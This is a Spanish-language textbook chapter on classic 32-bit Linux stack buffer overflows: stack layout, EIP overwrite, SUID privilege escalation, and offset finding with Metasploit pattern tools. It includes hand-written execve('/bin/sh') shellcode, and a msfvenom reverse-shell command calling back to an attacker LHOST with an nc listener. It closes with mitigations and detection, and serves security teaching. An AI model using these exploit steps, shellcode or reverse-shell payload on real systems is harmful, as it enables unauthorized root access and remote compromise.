Panorama#

Este capítulo arma desde cero el ataque que fundó toda una disciplina: el stack-based buffer overflow —desbordamiento de un buffer en la pila— sobre Linux x86 de 32 bits. Se lo estudia con las mitigaciones modernas desactivadas a propósito (gcc -fno-stack-protector, ASLR apagado), no porque así se explote hoy, sino porque aislar el mecanismo es la única forma de entenderlo. Con esa base, el capítulo que sigue muestra qué técnica nueva obliga cada defensa cuando se la vuelve a encender.

La idea central se enuncia en una línea: la vulnerabilidad no está en el desbordamiento, sino en el return pointer guardado que la pila saca al retornar de la función. Un strcpy() sin verificación de tamaño escribe más allá de su buffer local y pisa esa dirección de retorno; controlarla es controlar la próxima instrucción que ejecuta el procesador. Sobre eso se construye el resto: hallar el offset exacto con un proceso repetible, y entregar un payload —el shellcode— que sobreviva el viaje por una función de cadena y sea fácil de aterrizar.

El capítulo tiene dos mitades que se corresponden con sus dos fuentes. La primera es la mecánica del overflow: la pila, el ciclo de llamada a función, la firma 0x41414141, el bit SUID como multiplicador de privilegio, y el andamiaje de seis pasos que convierte la prueba y error en método. La segunda es cómo se fabrica el payload a mano: escribir shellcode en ensamblador, por qué no puede contener un solo byte nulo, y las dos plantillas de red —port-binding y connect-back— que entregan una shell remota. Todo esto asume las protecciones apagadas; cuando se reactivan, el arco continúa en 3.7 · Format strings, ret2libc y ROP y con la profundidad de Linux moderno en 3.15 · Exploit-dev Linux avanzado.

flowchart TD
  A["strcpy() sin bounds-check\nbuffer local desbordado"] --> B["Se pisa el return pointer\nguardado en la pila"]
  B --> C{"¿Qué se escribe encima?"}
  C -->|"'AAAA…'"| D["EIP = 0x41414141\nsegfault: control demostrado"]
  C -->|"payload diseñado"| E["NOP sled + shellcode\n+ return address al sled"]
  E --> F{"¿El binario es SUID root?"}
  F -->|"no"| G["Shell con el privilegio\ndel proceso"]
  F -->|"sí"| H["Shell root\n(privesc local)"]
  E --> I["…o servicio de red:\nconnect-back → shell remota"]

La pila y el ciclo de función: dónde vive el objetivo#

La stack (pila) es una estructura FILO —first in, last out— privada de cada proceso, que crece de las direcciones altas a las bajas: cada dato nuevo se apila en una dirección menor que el anterior. La gobiernan dos registros. EBP (base pointer) marca la base del stack frame de la función en curso, en una dirección alta; ESP (stack pointer) marca el tope de la pila, en la dirección más baja usada. Un tercer registro, EIP (instruction pointer), no vive en la pila pero es el que el ataque persigue: apunta a la próxima instrucción a ejecutar.

El punto vulnerable aparece en el ciclo de llamada a función. Cuando el código ejecuta un call, el procesador empuja el EIP —la dirección a la que debe volver cuando la función termine— a la pila; esa copia guardada es el return address. Al entrar, la función corre su prolog (push ebp; mov ebp,esp; sub esp,<locales>): guarda el EBP del llamador, fija el nuevo frame y reserva espacio para sus variables locales. Al salir, corre su epilog (leave; ret): leave restaura la pila del llamador y ret saca de la pila ese EIP guardado y salta a él.

Ahí está todo. Las variables locales —incluido el buffer que se desborda— quedan en direcciones más altas que el EIP guardado dentro del frame. Como la escritura de un buffer avanza hacia direcciones altas mientras la pila creció hacia abajo, desbordar el buffer escribe hacia el return pointer y lo pisa. Cuando la función ejecuta su ret, el procesador saca ese valor corrompido y lo trata como la próxima instrucción.

direcciones bajas  →  ← direcciones altas
[ ESP ]                                          [ EBP ]
┌───────────────┬──────────────┬─────────────────┐
│ buffer local  │ EBP guardado │ EIP guardado    │  ← return address = el objetivo
└───────────────┴──────────────┴─────────────────┘
        └──── strcpy() escribe en esta dirección ────►  pisa el EIP guardado

El overflow: de 0x41414141 al control del flujo#

El caso de estudio canónico es un programa meet.c con un buffer de 400 bytes que copia su argumento con strcpy(). Alimentarlo con 600 caracteres A desborda el buffer, corre por encima del EBP y del EIP guardados, y al retornar la función el procesador intenta ejecutar la dirección 0x41414141 —el hexadecimal de AAAA—. Como esa dirección está fuera del espacio de memoria del proceso, el sistema mata al programa con un segmentation fault. Ese 0x41414141 en el EIP es la firma canónica de un overflow con control del flujo: la prueba de que lo que se escribió en el buffer terminó en el registro de instrucción.

Un overflow demasiado grande puede fallar por la razón equivocada. Los 600 bytes de meet.c no solo pisan el EIP guardado: corrompen argumentos de las llamadas a printf()/vfprintf() que vienen después del strcpy, y el crash ocurre ahí, no en el ret. La técnica es empezar apenas por encima del buffer (405 bytes) y subir de a poco hasta pisar solo el return pointer (unos 408–412 en este caso). El número exacto es específico del binario; el concepto es lo que se traslada.

Vale insistir en un punto contraintuitivo: el segfault es el mejor de los tres desenlaces posibles, no el peor. Un overflow tiene tres ramificaciones. La primera es la denial of service —el crash ruidoso—, que es el resultado benigno porque llama la atención y hace visible el problema. Las otras dos son silenciosas: ejecución de código con el privilegio del proceso, o —en el peor caso— con privilegio root/SYSTEM. Un overflow explotado con éxito no crashea: entrega control. El crash que un desarrollador descubre por casualidad es, paradójicamente, el escenario que lo protege.

./meet mary $(perl -e 'print "A"x600') # 600 A's como argumento # en GDB: el proceso cae ejecutando 0x41414141 — EIP lleno de 'A' echo 0 > /proc/sys/kernel/randomize_va_space # (root) ASLR off, para reproducibilidad id ; whoami # prompt '#' = root, '$' = usuario normal

SUID: el multiplicador que vuelve root un overflow local#

Un overflow que entrega una shell con el privilegio del proceso no es interesante si ese proceso ya corre como el atacante. El puente hacia la escalada de privilegios es el bit SUID (Set User ID). Un binario marcado SUID se ejecuta con los privilegios de su dueño, no de quien lo lanza; en ls -l la x del dueño aparece como s (-rwsr-xr-x). Es un mecanismo legítimo y necesario —passwd es SUID root porque debe escribir en /etc/shadow—, pero convierte cada bug de memoria en una palanca: si un binario SUID root es vulnerable, el exploit hereda el privilegio del dueño y una cuenta sin privilegios obtiene una shell root. Este es el enlace directo con la escalada de privilegios local (3.9); el inventario de binarios SUID (find / -perm -4000) es tanto la superficie de ataque como el primer control defensivo.

El proceso de exploit-dev de seis pasos#

meet.c es un juguete donde el offset se adivina. En un objetivo real hay que instrumentar, y para eso existe un proceso repetible de seis pasos que convierte la prueba y error en método:

  1. Controlar el EIP. Enviar una entrada larga y confirmar en el debugger que el EIP se sobrescribe (aparece la firma 0x41…41 o similar).
  2. Determinar el/los offset(s). Hallar cuántos bytes preceden exactamente al EIP.
  3. Determinar el vector de ataque —la dirección de salto adonde apuntará el return pointer— y el margen para el payload.
  4. Construir el exploit.
  5. Testear.
  6. Debuggear lo que falle y volver.

El paso 2 es el que más se beneficia de herramientas. En lugar de contar bytes a mano, se envía una cadena de De Bruijn: una secuencia no repetitiva donde cada subsecuencia de 4 bytes es única. Metasploit la genera con pattern_create y luego, dados los 4 bytes que cayeron en el EIP tras el crash, pattern_offset devuelve la posición exacta. Sobre la app de red ch11_6 (un servicio en el puerto 5555 que desborda al recibir un username largo), el offset resultó 264 bytes antes del EIP, con el exploit total fijado en 1024 bytes para que los offsets no se muevan entre ejecuciones.

# 1) controlar EIP — enviar una cadena larga como username perl -e 'print "A"x2000' | nc <IP> 5555 # 2) offset con las pattern tools de Metasploit msf-pattern_create -l 1024 # cadena De Bruijn de 1024 bytes # tras el crash, EIP = 0x41386941 → msf-pattern_offset -l 1024 -q 0x41386941 # → offset = 264

Anatomía del payload: NOP sled, shellcode y return address#

Con el offset conocido, el buffer deja de rellenarse con A y se estructura en tres bloques. Un buffer de 412 bytes contra meet.c se arma, por ejemplo, como [200 × NOP][59 bytes de shellcode][156 bytes de return address repetida]:

  • El NOP sled. El opcode 0x90 es NOPno operation—: el procesador lo ejecuta sin efecto y avanza al siguiente byte. Un colchón de NOPs resuelve un problema de fragilidad: no hace falta que el return address apunte al primer byte del shellcode (difícil de calcular exacto y sensible a cualquier corrimiento), basta apuntar a algún punto del sled y dejar que el procesador “se deslice” por él hasta caer en el shellcode. De ahí que se rellene con NOPs cerca de la mitad del buffer.
  • El shellcode. El código máquina que se ejecutará —la sección siguiente lo construye—.
  • El return address repetido en little-endian. La dirección de salto, hallada con GDB (x/32xw $esp muestra la pila y se elige un valor que caiga dentro del sled, p. ej. 0xbffff3ac), se escribe con los bytes invertidos (\xac\xf3\xff\xbf) porque x86 es little-endian, y se repite muchas veces para maximizar la chance de que una copia caiga sobre el EIP guardado.

Cuando el buffer es más chico que el shellcode —digamos 10 bytes—, no cabe el payload adentro. La técnica de Murat Balaban resuelve el caso guardando el shellcode en una variable de entorno y apuntando el return address ahí: los ELF de Linux mapean el final de la memoria del proceso en 0xbfffffff, donde viven las env vars y los argumentos, justo por encima de la pila. Un truco de depuración útil aquí es prefijar el shellcode con \xcc (opcode int3, un breakpoint de software): si la ejecución llega, el proceso recibe un SIGTRAP y se confirma que el salto aterrizó donde debía.

Shellcode a mano: syscalls, sin un solo byte nulo#

Copiar un shellcode prefabricado de msfvenom funciona, pero escribirlo a mano da control absoluto —agregar un admin a /etc/passwd, borrar líneas de un log, lo que la imaginación permita— y explica por qué los generadores hacen lo que hacen. La clave: un programa compilado llega al kernel a través de la libc, pero el shellcode, sin librerías, invoca las syscalls directamente. En x86 Linux una syscall se dispara con int 0x80, con EAX = número de syscall y EBX/ECX/EDX = los primeros tres argumentos (los números están en unistd.h: write=4, exit=1, execve=11, setuid=23, dup2=63, socketcall=102). Ejecutar strace sobre un binario revela exactamente qué syscalls necesita reproducir el shellcode.

Pero un helloworld.asm que se ensambla y se linkea (nasm -f elf + ld) no es shellcode todavía. El shellcode tiene dos restricciones duras que dictan cada instrucción:

1 · Position-independent. Se inyecta en cualquier dirección de la memoria de un proceso ajeno, sin poder declarar un segmento .data ni conocer la dirección absoluta de su propia string /bin/sh. Como el EIP no es accesible desde ensamblador, se usa el truco call/pop: se coloca la string justo después de un call, de modo que el call empuje la dirección de la string a la pila como si fuera un return address; en vez de retornar, se hace pop de ese valor a un registro. Así el shellcode obtiene un puntero a su propia data sin saber dónde está. Es el patrón jmp/call/pop que aparece en casi todo shellcode del mundo real.

2 · Sin un solo byte nulo. El shellcode viaja como string, inyectado con funciones tipo strcpy() que se detienen en el primer \x00. Un único byte nulo lo mutila. Las tres fuentes de nulos y sus soluciones:

  • Un call/jmp hacia adelante con offset chico se rellena con ceros → se usa un salto hacia atrás (offset negativo, que en complemento a dos es 0xff…, sin ceros).
  • mov eax, 0x4 mete tres bytes altos en cero → se usa xor eax, eax (2 bytes, sin nulos, y a diferencia de sub no toca los flags del procesador) para limpiar el registro, y luego mov al, 4 sobre el byte bajo.
  • Los valores de 32 bits acarrean ceros → se opera sobre los sub-registros de 8/16 bits (AL/AX) con inc/dec.

Se verifica con nasm x.s && hexdump -C x | grep 00: el código no debe contener ninguna coincidencia.

; truco call/pop + eliminación de bytes nulos (esqueleto de un write)
  jmp short one          ; salta al call del final (evita nulos del salto adelante)
two:
  pop ecx               ; recupera la dir de la string SIN conocerla absoluta
  xor eax, eax          ; cero eax sin byte nulo (no toca flags como sí lo haría sub)
  mov al, 4             ; write = #4 en el byte bajo
  xor ebx, ebx
  inc ebx               ; ebx = 1 (stdout)
  int 0x80
one:
  call two              ; call HACIA ATRÁS → offset negativo = 0xff… (sin 0x00)
  db "mensaje", 0x0a

Shell-spawning mínimo#

El objetivo más común es execve("/bin/sh") (syscall 11). El shellcode mínimo —25 bytes en el tiny_shell.s de Erickson— evita incluso el call/pop construyendo la string directamente en la pila con push, y usando mov ebx, esp para apuntarla sin data estática. El detalle elegante es "/bin//sh": la barra extra hace que la string tenga longitud par (dos DWORDs exactos que se empujan) y el kernel ignora la doble barra al resolver la ruta.

xor eax, eax
push eax            ; terminador nulo de la string
push 0x68732f2f     ; "//sh"  (little-endian, invertido)
push 0x6e69622f     ; "/bin"
mov ebx, esp        ; ebx → "/bin//sh"
push eax            ; terminador nulo de envp
mov edx, esp        ; edx = envp (vacío)
push ebx            ; argv[0]
mov ecx, esp        ; ecx = argv
mov al, 11          ; execve = #11
int 0x80            ; execve("/bin//sh", ["/bin//sh"], NULL) → shell

Cada byte importa porque cuanto más chico el shellcode, más buffers lo aceptan. Los trucos de minimización son artesanía de instrucciones equivalentes más cortas: xchg eax, ebx (1 byte) reemplaza mov ebx,eax + xor eax,eax (4 bytes); un loop que cuenta hacia abajo y verifica el sign flag (dec ecx; jns) elimina la instrucción cmp. Un detalle de privilegios: si el proceso comprometido dropeó privilegios con seteuid, prefijar setuid(0) (poner 0 en EBX antes del execve) recupera root.

Shellcode de red: port-binding y connect-back#

Para una shell remota, las syscalls de socket en x86 Linux se multiplexan bajo socketcall (#102): EBX indica la subfunción (SYS_SOCKET=1, SYS_BIND=2, SYS_CONNECT=3, SYS_LISTEN=4, SYS_ACCEPT=5) y ECX apunta a un array de argumentos en la pila. El port-binding shellcode hace socket → bind(31337) → listen → accept, y queda bloqueado esperando una conexión; cuando llega, el descriptor del socket conectado queda en EAX.

La fusión con la shell se resuelve con los file descriptors vía dup2 (#63), que duplica el socket conectado sobre stdin (0), stdout (1) y stderr (2). Así, el execve("/bin/sh") posterior lee su entrada y escribe su salida por el socket: shell remota. El bloque completo es la plantilla de la que derivan casi todos los payloads de red.

flowchart LR
  subgraph BIND["Port-binding (escucha)"]
    B1["socket()"] --> B2["bind(31337)"] --> B3["listen()"] --> B4["accept()\n← el atacante conecta"]
  end
  subgraph CB["Connect-back / reverse shell"]
    C1["socket()"] --> C2["connect(IP_atacante)\n→ sale de la víctima"]
  end
  B4 --> D["dup2(conn → 0,1,2)"]
  C2 --> D
  D --> E["execve('/bin/sh')\nshell por el socket"]

La variante connect-back —la reverse shell— usa la misma plantilla pero reemplaza bind/listen/accept por SYS_CONNECT a la IP y puerto del atacante. Su ventaja decide su dominio en el mundo real: la conexión sale de la víctima, así que atraviesa el firewall de salida, que suele ser mucho más permisivo que el de entrada. Es la razón por la que la reverse shell es el payload por defecto, y el eslabón que enlaza esta técnica con la infraestructura de mando y control (3.10): una vez que la shell sale, hay que darle un canal estable.

De vuelta al mundo real: msfvenom#

Todo lo anterior explica lo que hace un generador. En un exploit práctico no se escribe cada byte a mano: se delega en msfvenom, que produce el payload —una reverse shell, por ejemplo— codificado para eliminar los bytes nulos (y otros bad chars) que romperían el envío. Entender el shellcode a mano es lo que permite tunearlo cuando el generador no alcanza: buffers minúsculos, conjuntos de bad chars poco comunes, o restricciones de espacio.

# reverse shell x86 Linux, sin bytes nulos, lista para incrustar en el buffer msfvenom -p linux/x86/shell_reverse_tcp LHOST=<KALI> LPORT=<PORT> -b '\x00' -f python # receptor: nc -nvlp <PORT>

Defensa y detección#

La mitigación de raíz de esta familia entera es de compilación y de sistema operativo, y es exactamente lo que convierte este capítulo en histórico: con las protecciones encendidas, nada de lo anterior basta por sí solo.

  • Stack canary (-fstack-protector): interpone un valor centinela entre el buffer y el return pointer, y aborta si al retornar no coincide. NX/DEP marca la pila como no ejecutable y mata el shellcode inyectado en la pila —empujando al atacante hacia ret2libc y ROP—. ASLR (randomize_va_space=2) aleatoriza las direcciones y rompe el return address hardcodeado. PIE extiende la aleatorización al propio ejecutable. Cada una de estas defensas no cierra la explotación sino que obliga a una técnica nueva; ese arco es el tema de 3.7 · Format strings, ret2libc y ROP y 3.15 · Exploit-dev Linux avanzado.
  • Higiene de SUID. Auditar el inventario de binarios SUID (find / -perm -4000 -ls) y minimizarlo cierra el multiplicador de privilegio antes de que exista el bug.
  • Detección en runtime. Un servicio que segfaultea repetidamenteSIGSEGV en los logs, core dumps, dmesg con líneas del tipo segfault at 41414141 ip 41414141— es la señal de fuzzing o de explotación en curso. A nivel host, un proceso hijo /bin/sh naciendo de un binario SUID root que normalmente no lanza shells, o de un servicio de red conectado a un socket, es el IOC de una reverse shell ejecutándose: se lo caza con auditd sobre execve y su cadena padre-hijo, o con Sysmon/Event ID 4688 en el equivalente Windows, correlacionado en el SIEM (ver 4.9 · Defensa de Active Directory para el mismo patrón de ejecución anómala). Las firmas de AV/IDS, por su parte, cazan los patrones estáticos del propio shellcode —la secuencia xor eax,eax + push 0x68732f2f + /bin/sh, el int 0x80, el socketcall, los sleds de 0x90—; esa misma dependencia de secuencias de bytes es la que el shellcode polimórfico ataca, tema de la evasión de AV/EDR (3.11).

Referencias#

  • red-infra/grayhat/cap-02Basic Linux Exploits: mecánica del stack overflow x86, la firma 0x41414141, SUID como vector de privesc, y el proceso de exploit-dev de seis pasos con pattern_create/pattern_offset y msfvenom.
  • red-infra/art-exploitation/cap-03Shellcode a mano: syscalls con int 0x80, el truco call/pop, eliminación de bytes nulos, shell-spawning mínimo, y las plantillas de red port-binding y connect-back con socketcall + dup2.
  • Jon Erickson, Hacking: The Art of Exploitation, 2ª ed. (No Starch Press, 2008) — §0x500, el capítulo de shellcode.
  • Allen Harper et al., Gray Hat Hacking: The Ethical Hacker’s Handbook, 5ª ed. (McGraw-Hill, 2018) — Ch. 11.
  • Aleph One, Smashing the Stack for Fun and Profit, Phrack 49 (1996) — el artículo fundacional.
  • MITRE ATT&CK — T1055 Process Injection y T1203 Exploitation for Client Execution.